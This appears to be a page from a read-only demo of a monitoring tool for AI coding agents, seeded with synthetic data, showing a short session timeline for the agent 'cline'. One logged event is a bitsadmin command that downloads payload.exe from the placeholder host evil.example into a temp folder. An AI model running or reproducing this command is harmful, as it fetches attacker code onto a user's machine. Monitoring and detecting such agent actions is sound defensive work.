DEMO Read-only showcase seeded with synthetic data. Sign-in, reviewing, rules, retention and alerts are disabled. Browse every page and session freely. Install on your fleet →
Session

dev-laptop-bill-high-109290803

cline on dev-laptop-bill · 1m14s · first 2026-04-22 17:19:55 · last 2026-04-22 17:21:09
Notes 0

No notes yet. Leave the first one so the next reviewer inherits the context.

Timeline · 3 of 32 events

  1. 2026-04-22
  2. 17:19
    • 17:19:55 process_start Process started C:\Program Files\Git\cmd\git.exe pid 7936
  3. 17:21
    • 17:21:07 process_start Process started C:\Windows\System32\cmd.exe pid 9163
    • 17:21:09 process_start Process started cmd.exe /c bitsadmin /transfer job http://evil.example/payload.exe %TEMP%\p.exe pid 2044